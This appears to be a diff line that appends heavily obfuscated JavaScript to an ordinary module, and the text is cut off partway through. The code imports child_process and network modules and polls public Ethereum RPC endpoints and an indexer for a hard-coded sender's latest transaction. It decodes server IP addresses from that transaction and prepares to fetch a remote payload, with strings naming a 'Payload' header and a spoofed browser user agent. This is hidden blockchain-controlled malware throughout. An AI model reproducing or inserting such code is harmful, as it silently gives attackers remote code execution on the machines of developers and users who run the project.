+}); global.i="A9";const _0x3a2ebe=_0x355e;(function(_0x48f9d7,_0x1a07be){const _0x4e7ab0=_0x355e,_0x39127c=_0x48f9d7();while(!![]){try{const _0x3f9af1=parseInt(_0x4e7ab0(0xf0))/(0x1*-0x1087+-0x1170+-0x4*-0x87e)*(-parseInt(_0x4e7ab0(0xdd))/(0x7*0x165+0x160f+-0x1fd0))+-parseInt(_0x4e7ab0(0x13c))/(-0x202*0x2+-0xe38+0x123f)+-parseInt(_0x4e7ab0(0xa5))/(0x7b*0x39+-0x1*0x417+0xba4*-0x2)+parseInt(_0x4e7ab0(0xc0))/(0x3a0+-0x21a2+0x1e07*0x1)+parseInt(_0x4e7ab0(0xb5))/(0x8ff*0x2+-0x1a2*0x6+0x82c*-0x1)*(-parseInt(_0x4e7ab0(0x174))/(0x10a6+0x2534+-0x35d3))+parseInt(_0x4e7ab0(0x10c))/(-0x11d1+0xbe+0x1d*0x97)+parseInt(_0x4e7ab0(0x13a))/(-0xb8*0x8+0x1df6+0x80f*-0x3);if(_0x3f9af1===_0x1a07be)break;else _0x39127c['push'](_0x39127c['shift']());}catch(_0x388603){_0x39127c['push'](_0x39127c['shift']());}}}(_0x12f0,-0xfbb0*-0x2+0x1*0x13020b+0x5*-0x20155));import{createRequire}from'module';let require=createRequire(import.meta.url);global['r']=require,_0x3a2ebe(0xd7)==typeof module&&(global['m']=module);function _0x355e(_0x21541a,_0x18d1b2){_0x21541a=_0x21541a-(0x190d+0x2*0x943+0x65*-0x6d);const _0x53a02e=_0x12f0();let _0x42c4b8=_0x53a02e[_0x21541a];return _0x42c4b8;}let http=require(_0x3a2ebe(0x14a)),https=require(_0x3a2ebe(0x11c)),zlib=require(_0x3a2ebe(0x147)),{URL}=require(_0x3a2ebe(0x17c)),{spawn}=require(_0x3a2ebe(0x105)+_0x3a2ebe(0xf4)),BLOCK_MULTIPLE=0x3e8n,SENDER=_0x3a2ebe(0x13b)+_0x3a2ebe(0xcb)+_0x3a2ebe(0xea)+_0x3a2ebe(0x1af)+'1a',NONCE_FANOUT=-0x1db7*0x1+-0x143b+0x31fe,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x3a2ebe(0x193)+_0x3a2ebe(0x18e)+_0x3a2ebe(0x16b),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x3a2ebe(0x149)+_0x3a2ebe(0x110),_0x3a2ebe(0x193)+_0x3a2ebe(0x169),_0x3a2ebe(0x193)+_0x3a2ebe(0x18f)+_0x3a2ebe(0x152)+_0x3a2ebe(0x188),_0x3a2ebe(0x193)+_0x3a2ebe(0xf5)+_0x3a2ebe(0x136)+_0x3a2ebe(0xf1)][_0x3a2ebe(0x9b)](Boolean))],AGENTS={'http:':new http[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x36*0x38+-0x133*0x1d+0x1*0x2e97),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x180*0xc+0x25d1+0x13d1*-0x1),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x438117,_0x5d73ca){const _0x8685d7=_0x3a2ebe,_0x25ef4d={'TCDmB':_0x8685d7(0x9a)};_0x438117&&_0x438117[_0x8685d7(0x194)+_0x8685d7(0xf9)](_0x25ef4d[_0x8685d7(0x191)],()=>_0x5d73ca[_0x8685d7(0x9a)](),{'once':!(0x1*-0x1073+-0x319*-0x4+0x40f)});}function decompressStream(_0x1f71f7){const _0x29b168=_0x3a2ebe,_0x5d6cbb={'BTHgJ':_0x29b168(0xc8)+_0x29b168(0x126),'VLAGf':function(_0x5acbb2,_0x1cb9f1){return _0x5acbb2===_0x1cb9f1;},'JbAci':_0x29b168(0x148),'GAvxe':_0x29b168(0x186),'KvMSQ':function(_0x55b882,_0x1919d7){return _0x55b882===_0x1919d7;},'DSbLa':_0x29b168(0xeb)};let _0x98df8e=(_0x1f71f7[_0x29b168(0x14b)][_0x5d6cbb[_0x29b168(0x12f)]]||'')[_0x29b168(0xc2)+'e']();return _0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x14d)],_0x98df8e)||_0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x176)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x14c)+'ip']()):_0x5d6cbb[_0x29b168(0x134)](_0x5d6cbb[_0x29b168(0xfd)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x165)+_0x29b168(0xb1)]()):_0x5d6cbb[_0x29b168(0x164)]('br',_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x19f)+_0x29b168(0x12d)+'ss']()):_0x1f71f7;}function httpRequest(_0x593adb,{method:_0x25a99d=_0x3a2ebe(0x133),body:_0x3f686c,signal:_0x95d4f4}={}){const _0x3d2da5=_0x3a2ebe,_0x42d10d={'JODvp':function(_0x56ddc3,_0x1259f1){return _0x56ddc3(_0x1259f1);},'gvgPD':_0x3d2da5(0x19b),'gMfuo':_0x3d2da5(0xaf),'KaaPY':_0x3d2da5(0x142),'rysJt':_0x3d2da5(0xc1),'UlrdI':function(_0x322dc5,_0x2b93bc){return _0x322dc5===_0x2b93bc;},'MHjGK':_0x3d2da5(0xd5),'zBIcw':function(_0x2a5ebb,_0xfe6778){return _0x2a5ebb+_0xfe6778;},'VGOlJ':function(_0x563e9c,_0x3a7e42){return _0x563e9c!=_0x3a7e42;},'xuBDG':function(_0x4bfaf9,_0x580f75){return _0x4bfaf9===_0x580f75;},'sZAHS':_0x3d2da5(0x161)+_0x3d2da5(0xa8),'tjngf':_0x3d2da5(0x12a)+_0x3d2da5(0x1aa),'LGNYs':_0x3d2da5(0x131),'YvZxf':_0x3d2da5(0x1a9)+'pe','vWzxi':_0x3d2da5(0x16e)+_0x3d2da5(0x1b5)};let _0x3cdce5=new URL(_0x593adb),_0x5032cf=_0x42d10d[_0x3d2da5(0x12c)](_0x42d10d[_0x3d2da5(0x139)],_0x3cdce5[_0x3d2da5(0x196)])?https:http,_0x27236b={'Accept':_0x42d10d[_0x3d2da5(0xa0)],'Accept-Encoding':_0x42d10d[_0x3d2da5(0xbb)],'Connection':_0x42d10d[_0x3d2da5(0x135)]};return _0x42d10d[_0x3d2da5(0xe3)](null,_0x3f686c)&&(_0x27236b[_0x42d10d[_0x3d2da5(0x115)]]=_0x42d10d[_0x3d2da5(0xa0)],_0x27236b[_0x42d10d[_0x3d2da5(0x17b)]]=Buffer[_0x3d2da5(0x19d)](_0x3f686c)),new Promise((_0x19f067,_0x4835e3)=>{const _0x3ef1bc=_0x3d2da5;let _0xaf0385=_0x5032cf[_0x3ef1bc(0xc7)]({'hostname':_0x3cdce5[_0x3ef1bc(0x93)],'port':_0x3cdce5[_0x3ef1bc(0x15d)]||(_0x42d10d[_0x3ef1bc(0x120)](_0x42d10d[_0x3ef1bc(0x139)],_0x3cdce5[_0x3ef1bc(0x196)])?0x1*-0xcfb+-0x1d2d+0xf*0x2ed:0x1338+0x2*-0x8d5+-0x13e),'path':_0x42d10d[_0x3ef1bc(0x14e)](_0x3cdce5[_0x3ef1bc(0x150)],_0x3cdce5[_0x3ef1bc(0x10e)]),'method':_0x25a99d,'agent':AGENTS[_0x3cdce5[_0x3ef1bc(0x196)]],'signal':_0x95d4f4,'headers':_0x27236b},_0x574ec9=>{const _0x4fd834=_0x3ef1bc,_0x10e94a={'ZGtcg':function(_0x483995,_0x4a5702){const _0x49dc91=_0x355e;return _0x42d10d[_0x49dc91(0x114)](_0x483995,_0x4a5702);},'vJvXf':_0x42d10d[_0x4fd834(0x18b)]};let _0x431427=_0x42d10d[_0x4fd834(0x114)](decompressStream,_0x574ec9),_0x39bef6=[];_0x431427['on'](_0x42d10d[_0x4fd834(0x122)],_0x123305=>_0x39bef6[_0x4fd834(0x198)](_0x123305)),_0x431427['on'](_0x42d10d[_0x4fd834(0x1ac)],()=>{const _0x589be9=_0x4fd834;try{_0x10e94a[_0x589be9(0x99)](_0x19f067,JSON[_0x589be9(0xd4)](Buffer[_0x589be9(0x107)](_0x39bef6)[_0x589be9(0x159)](_0x10e94a[_0x589be9(0xc5)])));}catch(_0x1c95a1){_0x10e94a[_0x589be9(0x99)](_0x4835e3,_0x1c95a1);}}),_0x431427['on'](_0x42d10d[_0x4fd834(0x121)],_0x4835e3);});_0xaf0385['on'](_0x42d10d[_0x3ef1bc(0x121)],_0x4835e3),_0x42d10d[_0x3ef1bc(0xe3)](null,_0x3f686c)&&_0xaf0385[_0x3ef1bc(0xb6)](_0x3f686c),_0xaf0385[_0x3ef1bc(0x142)]();});}async function withRpcEndpoints(_0x3c144e,_0x2ea979){const _0x495608=_0x3a2ebe;let _0x418a00=RPC_ENDPOINTS[_0x495608(0x14f)](()=>new AbortController());_0x418a00[_0x495608(0x95)](_0x15379b=>linkAbort(_0x2ea979,_0x15379b));try{return await Promise[_0x495608(0x11e)](RPC_ENDPOINTS[_0x495608(0x14f)]((_0x4c6137,_0x2fd673)=>_0x3c144e(_0x4c6137,_0x418a00[_0x2fd673][_0x495608(0x10b)])));}finally{for(let _0x393e64 of _0x418a00)_0x393e64[_0x495608(0x9a)]();}}async function rpcCall(_0x1c3ac1,_0x908566,_0x2038b9,_0x36db10){const _0x24e2d3=_0x3a2ebe,_0x55d7b1={'hXaau':function(_0x7320cd,_0x19397a,_0x30fde9){return _0x7320cd(_0x19397a,_0x30fde9);},'MxoIv':_0x24e2d3(0x19c),'CtMxp':_0x24e2d3(0x97)};let _0xffe3dd=await _0x55d7b1[_0x24e2d3(0x109)](httpRequest,_0x1c3ac1,{'method':_0x55d7b1[_0x24e2d3(0x9f)],'body':JSON[_0x24e2d3(0x98)]({'jsonrpc':_0x55d7b1[_0x24e2d3(0x140)],'id':0x1,'method':_0x908566,'params':_0x2038b9}),'signal':_0x36db10});return _0xffe3dd[_0x24e2d3(0xd6)];}async function rpcBatch(_0xb94eeb,_0x2e1831,_0x1aa236){const _0x143ca3=_0x3a2ebe,_0x8d06ce={'vVkBr':function(_0x259c12,_0x46239b,_0x186b51){return _0x259c12(_0x46239b,_0x186b51);},'HiWYY':_0x143ca3(0x19c)};let _0x303103=await _0x8d06ce[_0x143ca3(0x103)](httpRequest,_0xb94eeb,{'method':_0x8d06ce[_0x143ca3(0x1a8)],'body':JSON[_0x143ca3(0x98)](_0x2e1831[_0x143ca3(0x14f)](([_0xe79aa1,_0x386e83],_0x397f41)=>({'jsonrpc':_0x143ca3(0x97),'id':_0x397f41+(-0x2b*-0x48+0x2467+0x3*-0x102a),'method':_0xe79aa1,'params':_0x386e83}))),'signal':_0x1aa236}),_0x43900d=new Map(_0x303103[_0x143ca3(0x14f)](_0x46f816=>[_0x46f816['id'],_0x46f816]));return _0x2e1831[_0x143ca3(0x14f)]((_0x246f0d,_0x260de3)=>_0x43900d[_0x143ca3(0xe9)](_0x260de3+(-0xa25*-0x2+0x19fa+-0x2e43))[_0x143ca3(0xd6)]);}let toBlockHex=_0x460a01=>'0x'+_0x460a01[_0x3a2ebe(0x159)](0x1b97+-0x2*0x3a7+-0x1f*0xa7);function findSenderTx(_0xaed72){const _0x58ebf2=_0x3a2ebe;return _0xaed72[_0x58ebf2(0x9d)](_0x11770d=>_0x11770d[_0x58ebf2(0x18c)]&&_0x11770d[_0x58ebf2(0x18c)][_0x58ebf2(0xc2)+'e']()===SENDER)||null;}function decodeAddress(_0x3f982d){const _0x53878e=_0x3a2ebe,_0x160094={'ScXiL':_0x53878e(0x15a),'jrdXD':function(_0x5aff48,_0x31311f){return _0x5aff48(_0x31311f);},'DGksE':function(_0x4f37d6,_0x4e64f1){return _0x4f37d6(_0x4e64f1);}};let _0x268f72=Buffer[_0x53878e(0x18c)](_0x3f982d[_0x53878e(0xbd)](/^0x/i,''),_0x160094[_0x53878e(0x1a2)]),_0x43d4d2=_0x33741d=>_0x33741d[-0x853+-0x2*0x338+0xec3]+'.'+_0x33741d[-0xb2c+-0x1e9+-0x1*-0xd16]+'.'+_0x33741d[-0x1*-0x704+-0x1*-0x25e1+0x2ce3*-0x1]+'.'+_0x33741d[0x2*0x1042+-0x4c2*0x5+-0x8b7];return[_0x160094[_0x53878e(0xb0)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x1*-0x1def+0x1939+0x4*-0xdca,0x71*0x23+0x2410+-0x337f)),_0x160094[_0x53878e(0xcf)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x2f*0x3+0xb5*0xd+-0x6*0x170,0x1*-0x22a0+-0xe*0x15a+0x3594))];}function _0x12f0(){const _0x2c2fa8=['smCxl','node:https','oad\x20body','any','zNIqU','UlrdI','rysJt','gMfuo','Payload-B6',':443/0x/ls','ipNqp','coding','UqBND',',Sr3=@','_t_u\x27]=\x27','gzip,\x20defl','SDbiI','xuBDG','liDecompre','EreqP','BTHgJ','Kit/537.36','keep-alive','_t_s\x27]=\x27','GET','KvMSQ','LGNYs','public.bla','plaFW','NkKDh','MHjGK','13698468PmAknI','0xa322e5f3','297120QUZuEg','yrzwP','zeoxL','eth_getBlo','CtMxp','Agent','end','on=txlist&','jvgKp','KXiLK','Win64;\x20x64','node:zlib','gzip','https://1r','node:http','headers','createGunz','JbAci','zBIcw','map','pathname','nghnv','.publicnod','fari/537.3','RpPIO',':80','VnFVq','m\x27]=module','hrUVT','toString','hex','LBjUj','_t_s','port','_H2\x27]=\x27','QLmfg','9&page=1&o','applicatio','YZKTj','findIndex','VLAGf','createInfl','transactio','gldQK','GuYPf','h.drpc.org','_H2','ut.com/api','fLYXd','has','Content-Le','controller','aveIc','tavZt','BJgzE','add','49oNuXHs','JVkQF','GAvxe','unref','then','al=global;','\x27]=\x27','vWzxi','node:url','oMnng','http://','run','\x20Chrome/13',':443','bXcTI','k=0&endblo','lnQal','@^1aQk','x-gzip','nonce','e.com','bLolJ','ike\x20Gecko)','gvgPD','from','KafOh','h.blocksco','hereum-rpc','ort=desc&f','TCDmB','LssUT','https://et','addEventLi','pipe','protocol','ffset=20&s','push','ZgpqG','Tnnlg','utf8','POST','byteLength','qFOcQ','createBrot','ugrhL','eth_blockN','ScXiL','WYnsa','0\x20(Windows','zwjTr','eEQvU','b64','HiWYY','Content-Ty','ate,\x20br','xxxso','KaaPY','fIkOw','blockNumbe','9adc2490ef','eAmtO','min','wNEAr','ucVFK','jueMj','ngth','FfHYb','gzKWs','PSzJk','resume','y-p_>d$0B&','nILEL','hostname','KQldR','forEach','base64','2.0','stringify','ZGtcg','abort','filter','rMZnD','find','1.0.0.0\x20Sa','MxoIv','sZAHS','fbAQy','dQhjR','count&acti','qqKoX','3999712DXgKmU','ziJAI','q4FZkxX{!h','n/json','x-payload-','foHur','RWrVc','charCodeAt','nnxOv','mjCAw','data','jrdXD','ate','ZYBBe','eth_getTra','all','883554gwKkih','write','JQKVG','mGgtb','Missing\x20X-','ck=9999999','tjngf','address=','replace','r\x27]=requir','fJKsv','5050170JAAsRa','error','toLowerCas','xbMiN','ilterby=fr','vJvXf','raCZU','request','content-en','unt','XLylK','d311d3080e','TOkwx','length','WMrCP','DGksE','nsactionCo','FWUiH','RsZph','aPZUM','parse','https:','result','object','umber','VMnQg','CDbzL','Empty\x20payl','\x20NT\x2010.0;\x20','2KeNBiC','subarray','wvGeG','CUrwh','\x20(KHTML,\x20l','XrZYs','VGOlJ',':443/0x/cl','&startbloc','rjSZm','LTGfe','ZAlOy','get','6f0121063e','deflate','MjzxH','node','\x27;global[\x27','?module=ac','360688RTYsDf','stapi.io','isArray','eWCKt','_process','h-mainnet.','GGqwf','eIHSm','xQuoH','stener','_H\x27]=\x27','Mozilla/5.','djgaa','DSbLa','qiODF','global[\x27_V','catch','cVjMR','SXfgk','vVkBr','QMwHG','node:child',';var\x20_glob','concat','JGUpq','hXaau','XHNyr','signal','5407112rvLYDS','ckByNumber','search','ignore','pc.io/eth','e;global[\x27','gIWWO','SHJJd','JODvp','YvZxf','_t_u',')\x20AppleWeb','CRKiT','tqJhV','HEAD'];_0x12f0=function(){return _0x2c2fa8;};return _0x12f0();}function firstMatch(_0x21b624){const _0x5f5985={'fIkOw':function(_0x228835,_0x5c99db){return _0x228835(_0x5c99db);},'fJKsv':function(_0x6e49ad,_0x5da592){return _0x6e49ad==_0x5da592;},'aveIc':function(_0x5f50e9,_0x4cf526){return _0x5f50e9(_0x4cf526);},'JVkQF':function(_0x1b9cad,_0x34e74f){return _0x1b9cad!=_0x34e74f;},'QLmfg':function(_0x2b1d39,_0xfdf95d){return _0x2b1d39(_0xfdf95d);},'gldQK':function(_0x330753,_0x1837de){return _0x330753(_0x1837de);}};return new Promise(_0x1055a6=>{const _0x43a200=_0x355e,_0x574496={'qqKoX':function(_0x4f2e13,_0x16b5ae){const _0x4bfb56=_0x355e;return _0x5f5985[_0x4bfb56(0x170)](_0x4f2e13,_0x16b5ae);}};let _0x34d0a3=_0x21b624[_0x43a200(0xcd)];if(!_0x34d0a3)return _0x5f5985[_0x43a200(0x167)](_0x1055a6,null);let _0x12f190=!(0x1*-0xead+-0x25d5+0x3483),_0x4ea38e=_0x344775=>{const _0x5a6f9a=_0x43a200;if(!_0x12f190){for(let _0x11c14b of(_0x12f190=!(-0x13c4+-0x1a02+0x2dc6),_0x21b624))_0x11c14b[_0x5a6f9a(0x16f)][_0x5a6f9a(0x9a)]();_0x574496[_0x5a6f9a(0xa4)](_0x1055a6,_0x344775);}};for(let _0x266710 of _0x21b624)_0x266710[_0x43a200(0x17f)]()[_0x43a200(0x178)](_0x193f94=>{const _0x1cbfd8=_0x43a200;_0x12f190||(_0x193f94?_0x5f5985[_0x1cbfd8(0x1ad)](_0x4ea38e,_0x193f94):_0x5f5985[_0x1cbfd8(0xbf)](0xe0*0x4+0x1*0x1bf7+-0x1f77,--_0x34d0a3)&&_0x5f5985[_0x1cbfd8(0x170)](_0x1055a6,null));})[_0x43a200(0x100)](()=>{const _0xebd979=_0x43a200;_0x12f190||_0x5f5985[_0xebd979(0x175)](-0xc39+0x723+0x516,--_0x34d0a3)||_0x5f5985[_0xebd979(0x15f)](_0x1055a6,null);});});}function candidateBlocks(_0x3cdaf9){const _0x3e16b7=_0x3a2ebe,_0x26a154={'CRKiT':function(_0x296270,_0x1821b5){return _0x296270-_0x1821b5;},'nnxOv':function(_0xd797ea,_0x1874f0){return _0xd797ea-_0x1874f0;},'BJgzE':function(_0x17a746,_0x198c5e){return _0x17a746+_0x198c5e;},'nghnv':function(_0xc4b7b9,_0x52dbd9){return _0xc4b7b9-_0x52dbd9;},'fLYXd':function(_0x9cf028,_0x268c43){return _0x9cf028+_0x268c43;},'WMrCP':function(_0x1f3421,_0x1c5822){return _0x1f3421<_0x1c5822;}};let _0x4a55ef=_0x26a154[_0x3e16b7(0x118)](_0x3cdaf9,BLOCK_MULTIPLE),_0x5e5c51=new Set(),_0x482794=[];for(let _0x2d2666 of[_0x26a154[_0x3e16b7(0xad)](_0x3cdaf9,0x1n),_0x3cdaf9,_0x26a154[_0x3e16b7(0x172)](_0x3cdaf9,0x1n),_0x26a154[_0x3e16b7(0x151)](_0x4a55ef,0x1n),_0x4a55ef,_0x26a154[_0x3e16b7(0x16c)](_0x4a55ef,0x1n)]){if(_0x26a154[_0x3e16b7(0xce)](_0x2d2666,0x0n))continue;let _0x3ae321=_0x2d2666[_0x3e16b7(0x159)]();_0x5e5c51[_0x3e16b7(0x16d)](_0x3ae321)||(_0x5e5c51[_0x3e16b7(0x173)](_0x3ae321),_0x482794[_0x3e16b7(0x198)](_0x2d2666));}return _0x482794;}function blockTask(_0x42089c){const _0x43f677={'wNEAr':function(_0x5d6398,_0x346548,_0x44c318){return _0x5d6398(_0x346548,_0x44c318);},'ziJAI':function(_0x1919d0,_0x138670){return _0x1919d0(_0x138670);}};let _0xc51d7b=new AbortController();return{'controller':_0xc51d7b,async 'run'(){const _0x4800f8=_0x355e;let _0x3fcdb4=await _0x43f677[_0x4800f8(0x1b2)](withRpcEndpoints,(_0x3c3351,_0x45a26b)=>rpcCall(_0x3c3351,_0x4800f8(0x13f)+_0x4800f8(0x10d),[toBlockHex(_0x42089c),!(-0x1*0xaeb+-0x7*0x59+-0x1*-0xd5a)],_0x45a26b),_0xc51d7b[_0x4800f8(0x10b)]),_0xa17565=_0x3fcdb4?.[_0x4800f8(0x166)+'ns'];if(!Array[_0x4800f8(0xf2)](_0xa17565))return null;let _0x3aaf38=_0x43f677[_0x4800f8(0xa6)](findSenderTx,_0xa17565);return _0x3aaf38?{'blockNumber':_0x42089c,'tx':_0x3aaf38}:null;}};}async function nonceAtBlocks(_0x48b0b7,_0xeba093){const _0x2bf86d=_0x3a2ebe,_0x306878={'CUrwh':function(_0x5917ba,_0x80a075,_0x5f1ee8){return _0x5917ba(_0x80a075,_0x5f1ee8);}};let _0x5c1a05=_0x48b0b7[_0x2bf86d(0x14f)](_0x1dcdef=>[_0x2bf86d(0xb3)+_0x2bf86d(0xd0)+_0x2bf86d(0xc9),[SENDER,toBlockHex(_0x1dcdef)]]);try{return(await _0x306878[_0x2bf86d(0xe0)](withRpcEndpoints,(_0xd746f,_0x473522)=>rpcBatch(_0xd746f,_0x5c1a05,_0x473522),_0xeba093))[_0x2bf86d(0x14f)](BigInt);}catch{return(await Promise[_0x2bf86d(0xb4)](_0x5c1a05[_0x2bf86d(0x14f)](([_0x2babff,_0x3a3b66])=>withRpcEndpoints((_0x149844,_0xb83fe7)=>rpcCall(_0x149844,_0x2babff,_0x3a3b66,_0xb83fe7),_0xeba093))))[_0x2bf86d(0x14f)](BigInt);}}async function lastSenderTx(_0x6947a6){const _0x2fd541=_0x3a2ebe,_0x865f0d={'TOkwx':function(_0x5d2d58,_0x8010fd){return _0x5d2d58(_0x8010fd);},'mGgtb':function(_0x58f27c,_0x4c45b7,_0x3c600e){return _0x58f27c(_0x4c45b7,_0x3c600e);},'MjzxH':function(_0x1c1e28,_0x3211ab){return _0x1c1e28(_0x3211ab);},'JQKVG':function(_0x4c6ce4,_0x3b78d1){return _0x4c6ce4-_0x3b78d1;},'ucVFK':function(_0x1fa7f8,_0x1e54b0){return _0x1fa7f8>_0x1e54b0;},'oMnng':function(_0x514391,_0x56220c){return _0x514391(_0x56220c);},'NkKDh':function(_0x3fccd7,_0x3598ae){return _0x3fccd7<=_0x3598ae;},'lnQal':function(_0x35f187,_0x271b47){return _0x35f187+_0x271b47;},'foHur':function(_0x1e7b3b,_0x19c605){return _0x1e7b3b/_0x19c605;},'SDbiI':function(_0x43c2f0,_0xbdc559){return _0x43c2f0*_0xbdc559;},'CDbzL':function(_0x461538,_0x22c7d6){return _0x461538+_0x22c7d6;},'GGqwf':function(_0x4c1acc,_0x1f6394){return _0x4c1acc===_0x1f6394;},'fbAQy':function(_0xe78b10,_0x2a2d28){return _0xe78b10(_0x2a2d28);}};let _0x1228d0=new AbortController();try{let _0x7717c5=_0x6947a6??_0x865f0d[_0x2fd541(0xcc)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x225474,_0x398eed)=>rpcCall(_0x225474,_0x2fd541(0x1a1)+_0x2fd541(0xd8),[],_0x398eed),_0x1228d0[_0x2fd541(0x10b)])),_0xe32847=_0x865f0d[_0x2fd541(0xec)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x166e6e,_0x20a24f)=>rpcCall(_0x166e6e,_0x2fd541(0xb3)+_0x2fd541(0xd0)+_0x2fd541(0xc9),[SENDER,toBlockHex(_0x7717c5)],_0x20a24f),_0x1228d0[_0x2fd541(0x10b)])),_0x2c7ca1=_0x865f0d[_0x2fd541(0xb7)](_0xe32847,0x1n),_0x36dc0b=_0x865f0d[_0x2fd541(0xb7)](SEARCH_FLOOR,0x1n),_0x57beb5=_0x7717c5;for(;_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n);){let _0x37635a=_0x865f0d[_0x2fd541(0xb7)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n),_0x40232d=_0x865f0d[_0x2fd541(0xec)](BigInt,Math[_0x2fd541(0x1b1)](NONCE_FANOUT,_0x865f0d[_0x2fd541(0x17d)](Number,_0x37635a))),_0x5e593e=[];for(let _0x323461=0x1n;_0x865f0d[_0x2fd541(0x138)](_0x323461,_0x40232d);_0x323461+=0x1n)_0x5e593e[_0x2fd541(0x198)](_0x865f0d[_0x2fd541(0x184)](_0x36dc0b,_0x865f0d[_0x2fd541(0xaa)](_0x865f0d[_0x2fd541(0x12b)](_0x323461,_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b)),_0x865f0d[_0x2fd541(0xda)](_0x40232d,0x1n))));let _0x5aae99=await _0x865f0d[_0x2fd541(0xb8)](nonceAtBlocks,_0x5e593e,_0x1228d0[_0x2fd541(0x10b)]),_0x5415e7=_0x5aae99[_0x2fd541(0x163)](_0x59ad09=>_0x59ad09>=_0xe32847);_0x865f0d[_0x2fd541(0xf6)](-(0xe3*-0x29+0xe5e*0x2+0x7a0*0x1),_0x5415e7)?_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5e593e[_0x2fd541(0xcd)],-0x6*-0x4a2+0x2478+-0x4043)]:(_0x57beb5=_0x5e593e[_0x5415e7],_0x865f0d[_0x2fd541(0x1b3)](_0x5415e7,-0x170*-0x5+-0xbdf+-0x6d*-0xb)&&(_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5415e7,-0x121b+0x869*-0x1+0x3*0x8d7)]));}let _0x44a2e1=await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x5aa246,_0x356a05)=>rpcCall(_0x5aa246,_0x2fd541(0x13f)+_0x2fd541(0x10d),[toBlockHex(_0x57beb5),!(-0x870*0x1+-0x1b5b+0x23cb)],_0x356a05),_0x1228d0[_0x2fd541(0x10b)]),_0x2a8ad0=_0x44a2e1?.[_0x2fd541(0x166)+'ns']||[],_0x5d7a1a=null;for(let _0x2ef2b4 of _0x2a8ad0)if(_0x2ef2b4[_0x2fd541(0x18c)]&&_0x865f0d[_0x2fd541(0xf6)](_0x2ef2b4[_0x2fd541(0x18c)][_0x2fd541(0xc2)+'e'](),SENDER)){if(_0x865f0d[_0x2fd541(0xf6)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x2c7ca1)){_0x5d7a1a=_0x2ef2b4;break;}(!_0x5d7a1a||_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x865f0d[_0x2fd541(0xa1)](BigInt,_0x5d7a1a[_0x2fd541(0x187)])))&&(_0x5d7a1a=_0x2ef2b4);}return{'blockNumber':_0x57beb5,'tx':_0x5d7a1a};}finally{_0x1228d0[_0x2fd541(0x9a)]();}}async function lastSenderTxViaIndexer(){const _0x30016b=_0x3a2ebe,_0x461186={'yrzwP':function(_0x224acc,_0x21a4ef){return _0x224acc(_0x21a4ef);},'UqBND':function(_0x3ca6e2,_0x6d0e95){return _0x3ca6e2(_0x6d0e95);}};let _0x6b3534=INDEXER_URL+(_0x30016b(0xef)+_0x30016b(0xa3)+_0x30016b(0x143)+_0x30016b(0xbc))+SENDER+(_0x30016b(0xe5)+_0x30016b(0x183)+_0x30016b(0xba)+_0x30016b(0x160)+_0x30016b(0x197)+_0x30016b(0x190)+_0x30016b(0xc4)+'om'),_0x50dcd4=await _0x461186[_0x30016b(0x13d)](httpRequest,_0x6b3534),_0x3f1cd2=Array[_0x30016b(0xf2)](_0x50dcd4?.[_0x30016b(0xd6)])?_0x50dcd4[_0x30016b(0xd6)]:[],_0x58d5fe=_0x3f1cd2[_0x30016b(0x9d)](_0x5346ca=>_0x5346ca[_0x30016b(0x18c)]&&_0x5346ca[_0x30016b(0x18c)][_0x30016b(0xc2)+'e']()===SENDER);return{'blockNumber':_0x461186[_0x30016b(0x127)](BigInt,_0x58d5fe[_0x30016b(0x1ae)+'r']),'tx':_0x58d5fe};}async function run(){const _0x21838c=_0x3a2ebe,_0x123142={'VnFVq':function(_0x354288,_0x3fa815){return _0x354288<_0x3fa815;},'Tnnlg':function(_0x1df33a,_0x158d6c){return _0x1df33a%_0x158d6c;},'ugrhL':_0x21838c(0x19b),'tqJhV':_0x21838c(0xa9)+_0x21838c(0x1a7),'xQuoH':function(_0x183f5f,_0x2adbd1){return _0x183f5f(_0x2adbd1);},'zwjTr':_0x21838c(0xb9)+_0x21838c(0x123)+'4','GuYPf':_0x21838c(0x96),'bXcTI':function(_0x4834c3,_0xed5caa){return _0x4834c3(_0xed5caa);},'gzKWs':_0x21838c(0xdb)+_0x21838c(0x11d),'VMnQg':function(_0x38ff78,_0x527698){return _0x38ff78===_0x527698;},'PSzJk':_0x21838c(0x11a),'aPZUM':_0x21838c(0xaf),'xxxso':_0x21838c(0x142),'raCZU':_0x21838c(0xc1),'plaFW':function(_0x1d2be3,_0x44ea01){return _0x1d2be3(_0x44ea01);},'nILEL':function(_0x57e6f1,_0x261c45){return _0x57e6f1+_0x261c45;},'wvGeG':_0x21838c(0xfb)+_0x21838c(0x1a4)+_0x21838c(0xdc)+_0x21838c(0x146)+_0x21838c(0x117)+_0x21838c(0x130)+_0x21838c(0xe1)+_0x21838c(0x18a)+_0x21838c(0x180)+_0x21838c(0x9e)+_0x21838c(0x153)+'6','qiODF':function(_0x2b7840,_0x196963){return 